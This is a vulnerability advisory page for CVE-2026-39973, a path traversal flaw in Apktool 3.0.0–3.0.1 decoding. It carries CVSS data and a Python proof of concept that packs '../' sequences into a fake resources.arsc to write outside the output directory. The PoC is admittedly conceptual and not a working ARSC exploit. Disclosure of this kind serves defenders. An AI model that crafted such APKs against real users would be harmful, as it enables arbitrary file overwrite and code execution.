Security Vulnerability Report
中文
CVE-2026-39973 CVSS 7.1 HIGH

CVE-2026-39973

Published: 2026-04-21 02:16:08
Last Modified: 2026-04-23 15:39:26

Description

Apktool is a tool for reverse engineering Android APK files. In versions 3.0.0 and 3.0.1, a path traversal vulnerability in `brut/androlib/res/decoder/ResFileDecoder.java` allows a maliciously crafted APK to write arbitrary files to the filesystem during standard decoding (`apktool d`). This is a security regression introduced in commit e10a045 (PR #4041, December 12, 2025), which removed the `BrutIO.sanitizePath()` call that previously prevented path traversal in resource file output paths. An attacker can embed `../` sequences in the `resources.arsc` Type String Pool to escape the output directory and write files to arbitrary locations, including `~/.ssh/config`, `~/.bashrc`, or Windows Startup folders, escalating to RCE. The fix in version 3.0.2 re-introduces `BrutIO.sanitizePath()` in `ResFileDecoder.java` before file write operations.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:apktool:apktool:*:*:*:*:*:*:*:* - VULNERABLE
Apktool 3.0.0
Apktool 3.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import os # PoC for CVE-2026-39973: Path Traversal in Apktool # This script demonstrates how to create a malicious APK structure # that exploits the missing BrutIO.sanitizePath() check. def create_malicious_apk(output_path): # 1. Create a minimal directory structure for the APK base_dir = "malicious_apk" os.makedirs(base_dir, exist_ok=True) # 2. Create a dummy AndroidManifest.xml with open(os.path.join(base_dir, "AndroidManifest.xml"), "wb") as f: f.write(b"<manifest></manifest>") # 3. Create a malicious resources.arsc # In a real scenario, this requires binary manipulation of the ARSC format # to include a string like "../../../tmp/poc.txt" in the string pool. # Here we simulate the structure concept. print("Generating malicious resources.arsc with path traversal sequence...") # Simulated binary content (Conceptual PoC) # The actual exploit involves crafting the Type String Pool in resources.arsc # to contain paths like "../../../../../../tmp/pwned". arsc_content = b"FAKE_ARS_HEADER" + b"../../../../tmp/exploit.txt" with open(os.path.join(base_dir, "resources.arsc"), "wb") as f: f.write(arsc_content) # 4. Zip it into an APK with zipfile.ZipFile(output_path, 'w') as zf: for root, dirs, files in os.walk(base_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, base_dir) zf.write(file_path, arcname) print(f"Malicious APK created at: {output_path}") print("When 'apktool d {}' is run, it attempts to write to /tmp/exploit.txt".format(output_path)) if __name__ == "__main__": create_malicious_apk("cve_2026_39973_poc.apk")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39973", "sourceIdentifier": "[email protected]", "published": "2026-04-21T02:16:07.903", "lastModified": "2026-04-23T15:39:26.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apktool is a tool for reverse engineering Android APK files. In versions 3.0.0 and 3.0.1, a path traversal vulnerability in `brut/androlib/res/decoder/ResFileDecoder.java` allows a maliciously crafted APK to write arbitrary files to the filesystem during standard decoding (`apktool d`). This is a security regression introduced in commit e10a045 (PR #4041, December 12, 2025), which removed the `BrutIO.sanitizePath()` call that previously prevented path traversal in resource file output paths. An attacker can embed `../` sequences in the `resources.arsc` Type String Pool to escape the output directory and write files to arbitrary locations, including `~/.ssh/config`, `~/.bashrc`, or Windows Startup folders, escalating to RCE. The fix in version 3.0.2 re-introduces `BrutIO.sanitizePath()` in `ResFileDecoder.java` before file write operations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apktool:apktool:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.2", "matchCriteriaId": "3AB0F220-1C11-421A-B777-AF3FA75A7830"}]}]}], "references": [{"url": "https://github.com/iBotPeaches/Apktool/commit/e10a0450c7afcd9462c0b76bcbff0e7428b92bdd#diff-cd531ebe1014bfd18185bf21585ca5cdb16fbcb07703ebc47949a1b4e4e36bc3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/iBotPeaches/Apktool/pull/4041", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/iBotPeaches/Apktool/releases/tag/v3.0.2", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/iBotPeaches/Apktool/security/advisories/GHSA-m8mh-x359-vm8m", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}